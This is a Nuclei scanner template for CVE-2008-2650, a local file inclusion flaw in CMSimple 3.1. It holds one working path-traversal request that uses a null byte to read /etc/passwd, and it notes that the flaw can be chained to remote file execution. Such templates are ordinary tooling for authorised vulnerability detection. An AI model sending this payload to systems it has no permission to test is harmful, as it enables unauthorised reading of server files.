id: CVE-2008-2650

info:
  name: CMSimple 3.1 - Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
  reference:
    - http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17
    - http://web.archive.org/web/20210121182016/https://www.securityfocus.com/bid/29450/
    - http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2650
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2008-2650
    cwe-id: CWE-22
  tags: cve,cve2008,lfi,cmsimple

http:
  - raw:
      - |
        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/07/06